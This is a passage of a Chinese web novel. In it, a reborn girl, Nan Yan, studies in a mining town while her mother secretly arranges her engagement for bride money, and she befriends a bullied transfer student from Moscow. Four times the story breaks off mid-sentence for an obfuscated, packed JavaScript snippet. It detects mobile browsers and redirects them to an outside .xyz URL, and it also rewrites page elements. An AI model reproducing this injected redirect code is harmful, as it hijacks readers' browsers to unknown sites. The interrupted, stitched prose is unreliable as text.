第二天天还没亮,南秉义就拿着矿灯进了南天贵的屋。 矿灯的光柱扫过满是灰尘的蚊帐,照得南天贵眯起了眼:“爸,这才几点啊?” “六点了,该去挑水了。”南秉义的声音没带一丝温度,“矿口的井早上人少,去晚了就得排队。” 南天贵磨磨蹭蹭地穿衣服,心里满是怨气。 他拎着水桶出门时,看见南雁已经坐在院子里的小凳上看书了,晨光透过老槐树的枝桠,落在她翻旧的课本上,像撒了把碎金子。 他心里更不平衡了,故意把水桶往地上一摔,“哐当”一声巨响,惊飞了院角的麻雀。 南雁抬起头,看了他一眼,又低下头继续看书。 她知道,南天贵是故意找茬,可现在不是跟他置气的时候,她得抓紧时间复习,下个月就要期中考试了。 南天贵挑着水桶往村口走,扁担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471117|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压得肩膀生疼。 路上遇见矿上的几个半大小子,他们叼着烟,看见南天贵挑着水桶,都笑了起来:“天贵,你这是改行当挑夫了?你家丫头呢,怎么让你干活?” 南天贵的脸瞬间涨成了猪肝色,热血往头上涌,他放下水桶就想跟他们吵,可一想起父亲说要饿他三天三夜的话,又硬生生忍住了。 他咬着牙挑起水桶,快步往前走,肩膀被扁担压得发红,心里把南雁骂了千百遍:都是这个丫头片子,害他丢尽了脸! 等他挑着水回来,已经快到晌午了。 水桶里的水洒了一半,裤腿都湿了,冷风一吹,冻得他直打哆嗦。 南秉义正在院子里劈柴,斧头落在木头上,“砰砰”响得震天,看见他这副样子,拿起斧头就扔了过去:“你挑个水怎么用了这么久?是不是又去跟人鬼混了?” 斧头“当啷”落在南天贵脚边,吓得他连忙后退,差点摔在柴堆上:“没有!路太远了,我走得慢!” “慢?你跟人赌钱的时候,怎么跑那么快?”南秉义走过来,一把夺过他手里的扁担,扁担上的水珠溅在他脸上,“今天你要是不把这院柴劈完,就别想吃饭!” 南天贵看着堆得像小山似的柴火,心里满是委屈,眼眶都红了。 他拿起斧头,笨拙地劈着柴,斧头好几次歪在木头上,震得他胳膊发麻,没一会儿就累得满头大汗,后背的衣服都湿透了,沾着灰,黑一块白一块的。 包兰芝在灶台边看着,心疼得不行,手里的锅铲都差点掉在地上。 她不敢上前劝南秉义,只能趁南秉义转身劈柴的功夫,偷偷从怀里摸出块凉透的窝头,快步走到南天贵身边,塞到他手里,压低声音说:“快吃,别让你爸看见。” 南雁看书看累了,就去帮包兰芝烧火。 她坐在灶台边,看着南天贵劈柴的样子,心里没有丝毫同情。 前世南天贵就是这样,好吃懒做,把家里的东西偷出去卖了换钱,最后还把她的学费偷去赌了,让她彻底失去了读书的机会。 这一世,父亲让他干活,是为了让他长点记性,也是为了给这个家留条活路。 下午,南雁去学校上课。 教室里的窗户玻璃裂了道缝,冷风往里灌,老师裹着厚棉袄,在黑板上写得飞快:“下个月市里要举办中学生知识竞赛,矿中学有两个名额,谁愿意参加?” 南雁立刻举起了手,指尖都在发抖,她知道,这是一个走出矿区的好机会,只要能拿到名次,她就能离离开矿区更近一步。 同桌拉了拉她的袖子,小声说:“市里的比赛肯定很难,你别瞎凑热闹了。” 南雁没说话,只是握笔的手更紧了。 放学回家时,她看见南天贵还在劈柴,斧头落在木头上,歪歪扭扭的,不少柴火都被劈得飞了出去。 包兰芝坐在一旁缝衣服,针脚歪歪扭扭的,嘴里不停地念叨:“这日子没法过了,儿子累得像头牛,丫头片子却在学校享清福,早知道当初就不该让她读书!” 南雁没理会她的抱怨,径直走进自己的小角落,拿出课本开始复习。 她知道,只有考上大学,才能彻底摆脱这里的一切。 接下来的日子,南天贵每天都被迫干活,虽然还是磨磨蹭蹭,但比以前认真多了。 早上挑水不再故意洒水,劈柴也会试着找木头的纹路,包兰芝看在眼里,疼在心里,却也不敢再跟南秉义提让南雁干活的事。 她知道,南秉义这次是铁了心,再闹下去,只会引火烧身。 14. 今天是个好机会 包兰芝的顶针在粗麻鞋底上“咚”地磕出个响,针脚歪歪扭扭地歪进布纹里,像她此刻七上八下的心。 炕沿被她坐得发烫,怀里那只看不见的兔子却越蹦越急,爪子挠得她五脏六腑都发紧。 窗外传来南天贵劈柴的闷响,一下,又一下,钝得像砸在棉花上。 那声音顺着窗缝钻进来,在她耳朵里绕着圈,最后变成根细针,狠狠扎进心窝子。 要不是为了南雁那个丫头读书,她的天贵哪用遭这份罪? 包兰芝猛地放下手里的活计,撩开窗帘一角往外看。 院子里,十六岁的南天贵正踮着脚,把斧头举过头顶,脸憋得通红,斧头落下时却偏了准头,只在木头上蹭出道白印。 他晃了晃胳膊,大概是累得酸了,却不敢停,又咬着牙把斧头举了起来。 包兰芝的眼泪差点涌出来。 这可是她的心头肉啊!打小到大,别说是劈柴挑水,就是地上的泥,她都舍不得让天贵多踩一脚。 脏活累活都是南雁的,那丫头片子皮实,打两下、骂几句也不吭声,哪像天贵,娇气得跟块豆腐似的,碰一下都怕碎了。 可现在呢? 为了让南雁安心读书,南秉义硬是把家里的活计全压在了天贵身上。 天不亮就被吼起来挑水,晚上累得倒头就睡,连跟她抱怨的力气都没有。 昨天她给天贵换衣服,看见他肩膀上被扁担压出的红印,心像被钝刀子割一样疼。 “死丫头片子,读那么多书有什么用?”包兰芝对着空气啐了一口,声音又恨又急,“将来还不是要嫁人生娃,能给你哥换彩礼,还是能给老南家传宗接代?” 她越想越气,随手抓起炕边的鸡毛掸子,对着炕席一通乱抽。 南秉义就是老糊涂了!被南雁几句“考学”“出息”迷了心窍,忘了谁才是南家的根! 那丫头片子,自从八岁那年发了场高烧,像是换了个人。 以前见了她就躲,眼神怯生生的,现在倒好,看人时眼神冷冷的,带着股说不清的劲儿,上次她骂南春,南雁居然敢插嘴说“五妹也累,别总说她”,气得她差点把手里的碗砸过去。 不行!绝对不能再由着他们父女俩胡闹下去! 那个被她压了好几天的念头,突然像野草遇到了春雨,疯狂地冒了出来——说亲! 必须尽快把南雁的亲事定下来! 只要定了亲,收了彩礼,南秉义再想让她读书,那边婆家也不会答应。 女孩子家,定了亲就是别人家的人,哪有功夫供她读那些没用的书?到时候彩礼到手,既能给天贵买新衣服,还能攒着给天贵将来娶媳妇,一举两得! 包兰芝的眼睛亮了起来,她猛地站起身,在逼仄的屋子里来回踱步。 炕席底下,那封表妹寄来的信,还有偷偷藏进去的半块定钱,像两块烧红的炭,烫得她手心发痒。 前阵子,她背着南秉义和南雁去见表妹的情形,又清晰地浮现在眼前。 表妹家那间低矮的土坯房,光线昏暗,空气中飘着股霉味。 表妹坐在炕沿上,手里攥着个蓝布包,笑得眼睛都眯成了缝:“兰芝姐,我跟你说,这户人家真是顶好的!男方是邻村的,家里开着个小杂货铺,条件殷实得很!你看这定钱,人家一出手就是二百块钱啊,剩下那一半,等过门的时候一分不少!” 当时她捏着那个沉甸甸的布包,心里又激动又慌乱。 两百块啊!她这辈子都没一次性见过这么多钱!够给天贵买两身新棉袄,够家里吃好几个月的白面馒头。 可慌乱也跟着来了,这事要是被南秉义知道,他那驴脾气,非得把屋顶掀了不可。 还有南雁,那丫头现在越来越有主意,要是知道了,指不定会闹出什么事来。 “他表姨,这事……还得瞒着。”包兰芝当时声音发颤,手指紧紧攥着布包,“雁子她爸倔,等过阵子我再跟他说。” “懂!我都懂!”表妹拍着胸脯保证,“先定下,等年纪到了再办事!我嘴巴严实着呢,绝对不会走漏风声!” 话是这么说,可包兰芝心里清楚,这事就像揣了个炮仗,迟早得炸。 尤其是这两天,南秉义看南雁的眼神,带着以前没有的期许,昨天还跟她说“雁子读书有天赋,将来没准能考去市里”,气得她晚饭都没吃好。 今天是个好机会! 南秉义下井了,天贵被逼着去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472406|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后山拾柴火,南雁去了学校,南秀带着弟妹挖土豆,家里就她一个人。 包兰芝不再犹豫,从箱子里翻出那身见客才穿的军改大衣,对着镜子拢了拢头发。 她的头发有些散乱,眼角也有了细纹,可一想到那笔彩礼,脸上就露出了几分急切的笑意。 手指碰到炕席边缘时,她顿了顿,还是咬牙掀开,把装着定钱的布包又往里塞了塞。 不能带钱去,免得表妹觉得她急着要钱,可又得让表妹知道,这事她定了,顺便问问,能不能先把剩下的彩礼支一部分出来。 这个念头让她脸颊发烫,心里骂了自己一句“贪心”,可脚步却更快了。 矿区的路不好走,坑坑洼洼的,风卷起地上的尘,扑了她一脸。 她抬手擦了擦,却觉得那灰尘钻进了心里,堵得慌。 再次敲开表妹家的门,表妹看到包兰芝,脸上闪过一丝诧异,随即又堆起热络的笑容:“兰芝姐?咋又来了?快进来坐!” “不坐了,我就说两句话。”包兰芝站在门口,压低声音,“他表姨,雁子那事,就这么定了!你跟那边说,我们没意见。” 表妹的眼睛一下亮了:“真的?那可太好了!我这就去跟那边说,让他们放心!” 包兰芝搓着手,眼神躲闪,声音更低了:“就是……家里最近有点急用……你看那边……剩下的钱,能不能先支一部分?” 表妹脸上的笑容僵了僵,眼珠子转了转,露出为难的神色:“兰芝姐,这不合规矩啊!说好了过门的时候给……” “我知道不合规矩,可实在是没办法。”包兰芝急忙打断她,脸上堆起讨好的笑,“他表姨,你人面广,帮帮忙跟那边说说?哪怕再给几十块也行!” 她的心怦怦直跳,既觉得自己这要求丢份,又抑制不住对钱财的渴望。 有了钱,她就能给天贵买糖吃,不用再看南秉义为了几毛钱皱眉头,甚至还能偷偷攒点私房,将来给天贵说媳妇用。 表妹打量着她,沉吟了片刻,才勉强道:“唉,谁让咱们是亲戚呢!行,我试试看,不过成不成的,我可不敢打包票!” “谢谢他表姨!谢谢你!”包兰芝连忙道谢,心里稍稍松了口气。 15. 转校生 从表妹家出来,天已经有些擦黑了。 矿区的天空灰蒙蒙的,远处的矿井架像巨兽的骨架,沉默地矗立着。 风吹过,带着股重金属味,呛得她直咳嗽。 她忍不住想,南雁要是知道了这事,会怎么样? 那丫头现在可不是以前的受气包了,万一闹起来……她甩了甩头,把这个念头压下去。 为了天贵,为了这个家,就算南雁闹,她也得扛住! 走到家门口,包兰芝停下脚步,看着那扇漆皮剥落的木门,竟有些不敢推开。 她深吸了一口气,伸手推开了门。院子里静悄悄的,只有两只老母鸡在角落里刨食。 她走到鸡窝边,习惯性地伸手去摸,草堆里空空的。 这鸡最近下蛋越来越不勤快了,肯定是被南雁读书的事气的! 她愤愤地踢了一脚鸡窝旁的破瓦盆,“哐当”一声响,惊得母鸡“咯咯”叫着跑开了。 回到屋里,她坐在炕沿上,看着窗外的天色一点点暗下来。 时间过得越久,她的心就越慌。直到院门外传来踉跄的脚步声,是南天贵回来了。 南天贵背着比他人还高的柴火,脸煞白,衣服被汗水浸透了,沾满了草屑和泥土。 他看见包兰芝,委屈地喊了一声“妈”,声音都带着哭腔:“我快累死了,爸还说我偷懒……” 包兰芝的心瞬间揪紧了,所有的不安和愧疚都被对儿子的心疼淹没。 她赶紧上前,帮南天贵卸下柴火,摸着他滚烫的额头,嘴里不住地念叨:“哎哟我的儿啊,受罪了!快歇歇,妈给你倒水!” 她手忙脚乱地倒了碗水,看着天贵咕咚咕咚喝下去,又用袖子擦了擦他脸上的灰。 南天贵喘着气,抱怨道:“都是南雁!要不是她读书,我也不用干这些活!” “别说了,儿啊,再忍忍。”包兰芝打断他,眼神闪烁,“妈正在想办法,很快就好了。” 她嘴上安慰着天贵,心里那个念头却更加坚定,必须尽快! 又过了一会儿,南雁背着书包回来了。她穿着洗得发白的蓝布褂子,书包带子断了一根,用绳子系着。 她走进来,没看屋里的母子俩,只是安静地把书包放在自己的小角落,然后就去灶台边准备帮忙。 “不用你假好心!”包兰芝突然没好气地吼了一句,“读你的圣贤书去!别在这儿碍手碍脚!” 南雁的动作顿住了,她抬起头,清澈的目光平静地看向包兰芝。 那目光没有愤怒,也没有委屈,就像一潭深水,看得包兰芝心里发虚。 她猛地转过头,不敢再看,手下意识地捂住了胸口。 南雁什么也没说,只是默默地收回手,拿起课本走到院子里,借着最后一点天光看了起来。 暮色渐浓,她的背影单薄却挺直,像株在风里倔强生长的小草。 包兰芝看着那个背影,一丝微弱的悔意悄然爬上心头。 她想起南雁小时候,会把偷偷藏起来的糖塞给天贵,会在她生病时端来热水,会在天快黑时站在门口等南秉义下井回来。 可这丝悔意,很快就被对天贵的心疼和对彩礼的渴望压了下去。 她攥紧了拳头,指甲掐进掌心,留下几道红印。 定了亲,收了全款,一切就都会好起来的。 她对着院子里的南雁,在心里默默地说,像是在给自己下咒,又像是在说服那个还存有一丝良知的自己。 * 早晨,上课铃刚敲完第三下,教室后墙那扇掉漆的木门“吱呀”一声被推开。 班主任李老师走在前面,身着藏青色卡其布中山装,她身后跟着个陌生男孩,瞬间让原本还在交头接耳的教室静得能听见窗外麻雀扑棱翅膀的声音。 几十道目光像聚光灯似的,齐刷刷钉在男孩身上。 那男孩站在李老师身边,比班里最高的男生还高出小半头,肩膀却窄窄的,身形透着股没长开的瘦削。 最打眼的是他的模样——头发是深棕色的,带着自然的小卷,阳光从窗缝漏进来,在发梢上跳着细碎的光;皮肤白得像矿区少见的宣纸,鼻梁高挺得有些突兀,眼窝深深陷下去,偏偏那双眼睛是纯黑的,眼尾微微上挑,带着点说不清的异域轮廓,像是把两种截然不同的模样揉在了一起。 他穿了件浅灰色小西装,领口系着歪歪扭扭的领结,料子看着是挺括的的确良,与教室里大多穿打补丁旧衣服的矿工孩子比,像株误栽进煤堆里的白茉莉,格格不入得刺眼。 “同学们,安静。”李老师扶了扶鼻梁上的黑框眼镜,镜片后的目光扫过教室,声音跟她手里的教鞭一样严肃,“这位是新转来的同学,叫谢承景。以后大家就是同班同学,要互相帮助,不许欺负新同学。” “谢承景?”底下立刻有孩子小声嘀咕,声音没压住,飘得满教室都是,“这名字咋跟小人书里似的……” “你看他那头发,跟洋人似的……” “说不定是洋鬼子的种呢!” 最后那句嘀咕像颗火星,瞬间点燃了窃窃私语的嗡嗡声。 孩子们的目光也变了味,有好奇,有探究,更多的是带着排斥的打量,有人还偷偷伸手指他,指尖戳戳点点,像在研究什么稀奇物件。 谢承景微微低着头,浓密的睫毛垂下来,在眼下投出一小片阴影,没人看见他眼底的情绪。 只有他紧紧攥着书包带子的手泄露了紧绷,书包是黑色的皮革材质,指节因为用力而泛白,连带着小臂的肌肉都绷得发紧。 他整个人像根被拉到极致的弦,明明站在教室中央,却透着股被全世界隔绝在外的落寞。 李老师皱了皱眉,目光在教室里扫了一圈,最后落在几处空位上:“谢承景,你先找个空位坐下。” 谢承景慢慢抬起头,黑眼睛快速扫过教室。 靠后的位置有两个空位,他刚要迈步,旁边一个穿蓝布褂子的男孩立刻把书包往空凳子上一扔,嘴一撇:“这有人了!” 另一个空位旁的女孩更直接,干脆扭过头去,假装没看见他,还故意跟同桌说笑,声音大得能让半个教室听见。 谢承景的嘴唇抿成一条直线,原本就没什么血色的脸更白了,黑眸子里闪过一丝难堪。 脚步像被钉在原地,进退两难,连垂在身侧的手都微微蜷了起来。 南雁坐在靠窗的第三排,她的同桌王刚前几天跟着父亲调去别的矿区,旁边的空位已经空了三天。 她看着讲台旁的谢承景,看着他努力挺直脊背却依旧掩饰不住的窘迫,心里像被什么东西轻轻扎了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“谢谢。”他坐下时,用几乎只有两人能听见的声音说,中文很流畅,只是尾音有点轻。 南雁没说话,只是微微点了点头,把摊开的语文课本往自己这边挪了挪,给他腾出些桌面,然后继续低头看自己的书。 她能感觉到周围那些若有若无的打量,还有身后传来的窃窃私语,但她不在乎,就像重生回来之后,刘小萍愿意帮她卖鸡蛋,只是出于一点不忍;现在她愿意让谢承景坐过来,也不过是不想看他像个没人要的孩子,站在原地受委屈。 课间休息的铃声一响,孩子们像撒欢的麻雀似的冲出座位,三五成群地在教室里追闹,有的玩弹珠,有的跳皮筋,吵吵嚷嚷的声音快把屋顶掀翻。 却没有一个人主动走到谢承景身边,连路过他座位时,都有人故意绕着走,像他是什么脏东西。 谢承景独自一人坐在座位上,低着头,手指无意识地抠着木质课桌上的裂纹——那是前几任学生留下的痕迹,深深浅浅的,像张杂乱的地图。 他的头发垂下来,遮住了大半张脸,只露出一点线条柔和的下巴,像个被遗忘在角落的影子,与周围的热闹格格不入。 刘小萍跑过来找南雁,手里还攥着半块麦芽糖,她偷偷扯了扯南雁的袖子,压低声音:“雁子,你咋让他坐这儿了?你看他那样儿,头发卷卷的,眼睛深的能掉进去,怪里怪气的……” 南雁正收拾着桌上的铅笔,把它们一根根放进铁皮铅笔盒里,头也没抬:“空着也是空着。” 16. 解围 “可是……”刘小萍还想说什么,比如班里已经有人说要跟她划清界限,比如她妈昨天还叮嘱她离“洋人”远点,可看到南雁平静的眼神。 那双眼睛总是安安静静的,像没什么能让她着急的事,又把话咽了回去,只嘟囔道,“反正你小心点,大家都说……他跟咱们不是一路人。” 南雁终于抬起头,看向刘小萍,目光里带着点认真:“不是一路人,就不能坐同桌了?” 刘小萍被问得一愣,张了张嘴,却说不出反驳的话,只好含糊道:“我妈说的,矿上的人都不待见洋人,你忘了咱矿上的老书记,以前跟洋人打过仗,腿上还有枪伤呢……” 南雁没再追问。 她知道刘小萍的意思,也知道矿区里的规矩——矿上的工人大多是从部队转业来的,说起洋人,总带着股戒备,毕竟谁也没忘过八国联军侵华,还有抗日战争,抗美援朝的事,“非我族类,其心必异”这话,她从小听到大。 可她总觉得,谢承景只是个跟她一样的孩子,不该因为头发颜色和长相,就被当成敌人。 接下来的几节课,谢承景始终沉默。 上课铃响时,他会第一时间拿出课本,脊背挺得笔直,眼神紧紧盯着黑板,笔记记得一丝不苟,字迹是工整的楷体,比班里大多数同学的字都好看。 老师提问时,他从不主动举手,哪怕被点名,回答问题也总是轻声细语。 下课铃一响,他要么坐在座位上看书,要么走到教室门口,靠着门框站着,看着其他孩子追逐打闹,黑眸子里带着点与年龄不符的疏离,还有一丝藏不住的羡慕。 南雁也不是多话的人,两人同桌,大部分时间都是各做各的。 她做题时,会听见旁边传来轻轻的翻书声;她收拾文具时,会瞥见他把课本按科目放得整整齐齐。 只是偶尔,她会注意到一些细节:当有调皮的男孩故意从他身边跑过,假装没看见,撞到他的桌子,让铅笔盒掉在地上时,他会飞快地蹲下去捡,攥着铅笔盒的手微微颤抖,却没说一句话;当有人在背后学他说话的腔调,故意把“谢谢”说成怪里怪气的调子时,他会把嘴唇抿得更紧,耳根泛红,却始终没回头。 那是强忍着的委屈和愤怒,把情绪憋在心里,不敢发泄,也无处发泄。 南雁懂这种感觉——小时候被人学走路时,她也是这样,把眼泪憋回去,假装没听见,可心里的委屈却像潮水似的,涨得难受。 下午的美术课,老师在黑板上写下“我的家乡”四个字,然后拍了拍手:“大家都画自己熟悉的地方,矿区的井架、家里的红砖房、门口的大槐树,啥都能画,不要怕画不好。” 孩子们立刻拿起蜡笔,教室里响起“沙沙”的画画声。 有的孩子画矿区高高的井架,用黑色蜡笔涂出矿堆,红色蜡笔点出信号灯,虽然线条简单,却满是生活的热气;有的孩子画家里的小院,院里有鸡窝,有晾衣绳,还有坐在门口纳鞋底的妈妈,画得热闹又温馨。 南雁低头,刚用铅笔勾勒出家门口那棵老槐树的轮廓,就听见身后传来一声嚷嚷:“哎!你们快看谢承景画的啥!跟咱们这儿根本不一样!” 是坐在谢承景后面的张强,他总是挑事,刚才上课还偷偷揪谢承景的头发。 谢承景刚转来没多久,头发要比其他男孩长些,皮肤又白,张强一伙人总爱叫他“小丫头”。 几个男孩立刻围了过去,伸着脖子看,然后爆发出嘻嘻哈哈的笑声:“这是啥房子?尖顶的,还带彩色玻璃,跟教堂似的!” “还有这花,咱们矿区哪有这么好看的花?土坡上就长点狗尾巴草,净瞎画!” 谢承景的脸瞬间涨红了,像被人泼了红墨水,连耳尖都透着热。 他猛地伸出手,想把画纸捂起来,手腕撞在桌角,铅笔滚到地上,黑眸子里满是窘迫,还有一丝被侵犯的怒意。 画纸上的房子是他在莫斯科的家,妈妈喜欢绣球花,爸爸就想尽办法在院子里种了一大片,淡蓝的,淡紫的,风一吹就晃,彩色的玻璃窗上的花纹是妈妈亲手贴的,就连窗台上的花盆里,都种着妈妈最爱吃的香菜。 那是他藏在心里最软的地方,是夜里做梦都会回去的港湾,现在却被当成笑话。 “画得挺好的。”一个平静的声音突然插进来,像阵凉风吹散了喧闹。 南雁放下手里的蜡笔,走到谢承景身边,低头看了一眼那幅画——浅灰色的尖顶阁楼,彩色玻璃窗上画着细碎的花纹,院子里的绣球花用淡蓝色和淡紫色涂得层次分明,连窗台上的花盆都画得清清楚楚,线条流畅,细节生动,看得出来是花了心思的。 “比某些人画的火柴棍房子像样多了。”她补充了一句,目光意有所指地扫过张强。 张强画的房子,墙是歪的,窗户是方方正正的框,连门都忘了画,还好意思嘲笑别人。 张强被噎了一下,脸涨得通红,他攥紧蜡笔的手紧了紧,想反驳,可对上南雁平静的眼神,话到嘴边又咽了回去。 南雁的眼神不像骂他,也不像嘲笑,就只是那么静静地看着他,像在看路边的石头,没什么情绪,却让他没了底气。最后他只能哼一声,悻悻地踢了踢桌腿:“谁要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484006|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟你争!” 其他围过来的孩子见领头的走了,也没了起哄的兴致,一个个散开了。 谢承景有些愕然地看向南雁,他的睫毛很长,垂下来时能遮住眼底的情绪,他嘴唇动了动,似乎想说什么,最终却只是低下头,用极低的声音道:“……谢谢。” 南雁摇了摇头,回到自己的座位上,继续画那棵老槐树:“不用谢,本来就画得好。” 她只是觉得,因为画风不同就被嘲笑,实在没什么道理——每个人的家乡都不一样,有人的家乡是矿区高高的井架,是红砖房上的炊烟;有人的家乡是南方水乡的乌篷船,是青石板路上的青苔;还有人的家乡,在遥远的海外,这没什么好笑话的。 一想到海外,南雁的笔尖就停了,她想起了自己的女儿小安,也不知道她现在过得好不好。 “南雁,你画的是槐树吧?画得挺不错的。”李老师走过来,手里拿本画册,“树干的纹路画的真像,是不是常在家门口看它?” 南雁回过神,点了点头:“嗯,我家门前的槐树长了好多年了,夏天能遮一大片凉。” 李老师笑了笑,目光落在谢承景的画纸上,又转回来:“谢承景刚转来,对矿区还不熟,你们多跟他聊聊,让他也说说他的家乡。” 南雁“嗯”了一声,眼角余光瞥见谢承景还低着头,手指在画纸边缘捏来捏去,像是还没从刚才的起哄里缓过来。 她想了想,拿起自己画好的画,轻轻往谢承景那递过去:“你看,这是我家门前的老槐树,夏天会开白色的花,特别香。它做成的槐花蜜也特别好吃,等来年开花,我送一罐槐花蜜给你吧。” 谢承景抬起头,眼神里还有点茫然,他看了看南雁的,又看了看自己的,小声说:“你的槐树画得真像,我家也有树,是苹果树,秋天会结很多苹果。” “苹果树?”南雁眼睛亮了亮,“是不是红色苹果?像小灯笼似的?” 谢承景点点头,嘴角微微翘起来:“嗯,妈妈会摘下来做苹果派,放很多黄油,特别香。”说起妈妈,他的眼神软了下来,像蒙了层暖光。 “那一定很好吃。”南雁笑了,“我会用槐花花瓣做饼,放糖,吃起来甜甜的,到时候我做给你吃。” 两人就这么你一言我一句地聊起来,从家门口的树,聊到家里的饭菜,聊到小时候玩的游戏。 谢承景说他在国外的时候,会跟邻居家的小孩在雪地里堆雪人,用胡萝卜做鼻子,用纽扣做眼睛。 南雁说她小时候会跟刘小萍在树下跳皮筋,还有跳房子,刘小萍总爱踩错格子,还会赖皮。 17. 巧克力 …… 下午五点半,矿区中学的预备铃已经响过三轮,南雁才抱着数学练习册,从教师办公楼里退出来。 窗玻璃蒙着一层薄灰,把傍晚的天色滤得更暗,她低头拍了拍练习册上的粉笔灰,手触到帆布书包里硬邦邦的铁皮铅笔盒,那是她去年考第一的奖励,边角已经磕出了锈迹。 走廊里的白炽灯忽明忽暗,照得墙上“备战高考”的标语忽深忽浅。 南雁把练习册塞进书包里,身后传来李老师的声音:“这道解析几何的辅助线,记得从焦点往准线作垂线,下次别再绕远路了。” 南雁脚步顿了顿,回头应了一声,声音里带着点没散尽的怯懦。 前世她就是这样,总是在细碎的叮嘱里找不到存在感,直到后来被卷进那些是是非非,才明白当年的怯懦里藏着多少不自知的侥幸。 走出教学楼,冷风裹着砂砾扑面而来,南雁下意识地缩了缩脖子。 校门口的老槐树早就掉光了叶子,光秃秃的枝桠像白骨似的手,抓着灰蒙蒙的天。 树下站着个人,浅灰色小西装被风吹得贴身上,里面那件白衬衫的领口敞开两颗扣子,露出一点突兀的锁骨。 是谢承景。 他穿得那么单薄,却看起来一点都不冷。 他没动,只是望着矿区家属区的方向,目光落在那几栋白色的筒子楼上——那是矿上分配给工程师和技术人员的房子,跟矿工们住的红砖房隔着一条河,像是两个世界。 南雁的脚步顿了顿,心里隐约明白了什么。 矿区也是个小小的社会,住在哪片区域,某种程度上就代表着身份——矿工住红砖房,干部住筒子楼,而谢承景,这个顶着“洋人”长相的孩子,恐怕在筒子楼里也融不进去,毕竟那些工程师天南海北的都有,看他的眼神,未必比矿工们友善。 “还不回家?”她走过去,声音比平时稍大了些,怕被风声盖过。 谢承景似乎被吓了一跳,猛地转过身,看到是她,紧绷的肩膀稍微放松了些,只是眼神还有点紧张:“……就回。” 他说着,目光又下意识地往筒子楼的方向瞟了一眼,像在确认什么,又像在犹豫。 南雁顺着他的目光看了一眼,然后收回视线:“一起走吧?” 话一出口,她就有些懊恼,恨不得咬掉自己的舌头。 上一世,她就是因为爱多管闲事,帮了不该帮的人,最后落得没人待见的下场,怎么这一世又管不住自己的嘴? 谢承景惊讶地睁大了眼睛,黑眸子里映着远处矿区的灯光,亮晶晶的,像落了星星。 他迟疑了一下,然后轻轻点了点头,“好。” 两人并肩走在矿区坑洼的土路上,中间隔着半臂的距离,不远不近。 路两旁是低矮的红砖房,有的人家已经亮起了灯,昏黄的灯光从窗户里透出来,映着墙上“安全生产”的标语。 南雁走得很慢,因为左腿的毛病,平时除了跟刘小萍一起,其他时间,她总爱走在人后面。 可今天,谢承景似乎刻意放慢了脚步,两人的脚步声在风里撞在一起,竟有种奇怪的默契。 两人一路无话,风刮得更紧了,卷起地上的渣子,打在裤腿上沙沙响。 “你成绩真好。”谢承景突然开口,声音被风吹得有点飘。他没看南雁,目光落在路边那些标语上,“李老师上课总夸你。’ “也没什么,就是做题多了点。” 谢承景没再说话,但南雁感觉到了他的目光落在自己左腿上。 她下意识地加快了脚步,书包里的铅笔盒发出哗啦啦的响声。 前世,就是因为这条腿,让她失去了许多机会,被不少人嘲笑,连带着家里人都骂她是累赘,扫把星。 快到分岔路口时,谢承景突然停下脚步,他转过身,从口袋里掏出一个东西,递到南雁面前——是一小盒包装很精美的进口巧克力。 盒子上用蓝色丝带绑的蝴蝶结,已经变得有点皱皱巴巴的了,他很认真地看着南雁,黑眸子里没有了平时的躲闪,满是真诚:“谢谢你,南雁同学。” 他耳朵有点红,补充道,“这个给你,是我从国外带来的巧克力,很甜的,一点也不苦。” 南雁看着他的眼睛,那是双很漂亮的眼睛,眼尾微微上挑,却因为认真而显得格外温和,里面能看到一种如释重负的暖意,像终于卸下了什么包袱。 她淡淡地“嗯”了一声,指了指左边那条更窄的路,那里的路灯早就坏了,黑黢黢的像条蛇:“我往这边走。” 她接过那盒巧克力,盒子在手心里硌得慌,“再见。” “再见。”谢承景说,声音比平时稍大了些,带着点没藏住的欢喜。 南雁转身,左腿微微跛着,一步步往家的方向走。 她没回头,却能感觉到身后的目光,一直落在她的背影上,像一点温暖的星光,照亮了这条寒冷的小路。 谢承景站在原地,看着南雁的背影消失在路的拐角,才转过身,往筒子楼的方向走。 冷风依旧刮着,可他心里却不像刚才那么冷了。 他把手揣进空落落的衣服口袋里,想起刚才南雁接过巧克力时,不小心碰到他的手,有点凉,却让他想起了还在莫斯科时,妈妈牵着他的手过马路的温度。 * 